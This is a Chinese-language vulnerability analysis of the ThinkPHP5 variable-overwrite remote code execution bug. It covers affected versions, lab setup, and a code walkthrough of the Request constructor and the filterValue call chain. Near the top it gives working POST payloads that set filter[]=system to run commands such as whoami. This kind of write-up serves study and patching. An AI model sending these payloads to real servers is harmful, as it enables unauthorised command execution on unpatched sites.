ThinkPHP5 变量覆盖导致的RCE
漏洞存在版本,分为两大版本:
- ThinkPHP 5.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
## ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
## ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
## ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
环境搭建
composer create-project topthink/think=5.0.23 thinkphp5.0.23
修改composer.json
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.23"
},
执行composer update
依旧是宝塔跑
开启app_debug
payload
_method=__construct&method=get&filter[]=system&get[]=whoami
漏洞分析
首先在官方发布的 5.0.24 版本更新说明中,发现其中提到该版本包含了一个安全更新。
最重要的应该是这里,对method进行了白名单的验证
来尝试还原一下漏洞,核心点就是这两句
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
第一句是读取post数组里的_method
,然后当作方法名进行调用,第二句直接把post数组当作这个方法的参数,那么我们可以调用这个类里面的任意方法了
这个漏洞用的是构造方法
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
foreach遍历输入的数组,然后覆盖类里面的属性值
这个方法也是一眼就看到了,实际上后面利用的就是这个
如果框架在配置文件中开启了 debug 模式( 'app_debug'=> true
),程序会调用 Request 类的 param 方法。这个方法我们需要特别关注了,因为 Request 类中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均调用了 filterValue 方法,而该方法中就存在可利用的 call_user_func 函数。
而这个 param 方法就调用了我们上面说的method方法,而他也会调用server方法
server方法里调用了input方法
input方法里的三个参数都会传递给filterValue
这个 $this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值。也就是说,可控数据作为 $data 传入 input 方法,然后 $data 会被 filterValue 方法使用 $filter 过滤器处理。其中 $filter 的值部分来自 $this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值。
在 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch[’type’] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法
现在我们还要解决一个问题,就是如何让 $dispatch[’type’] 等于 controller 或者 method 。通过跟踪代码,我们发现 $dispatch[’type’] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系。这个 $route 变量取决于程序中定义的路由地址方式。
ThinkPHP5 中支持 5种 路由地址方式定义:
定义方式 | 定义格式 |
---|---|
方式1:路由到模块/控制器 | ‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’ |
方式2:路由到重定向地址 | ‘外部地址’(默认301重定向) 或者 [‘外部地址’,‘重定向代码’] |
方式3:路由到控制器的方法 | ‘@[模块/控制器/]操作’ |
方式4:路由到类的方法 | ‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’ |
方式5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor 目录下的文件加载,这样在 GET 方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch[’type’] 等于 method ,从而完成 远程代码执行 漏洞。
动态调试
粗略的跟一下流程,不详细去跟每个参数的变化了
断点打在method
往前看是怎么调用的
APP 的run方法调用到routeCheck
再调用到Route::check
调用到method
进入构造函数进行变量覆盖
回到APP,调用param
调用method(这是第二次了)
调用server
调用input
调用filterValue,基本就结束了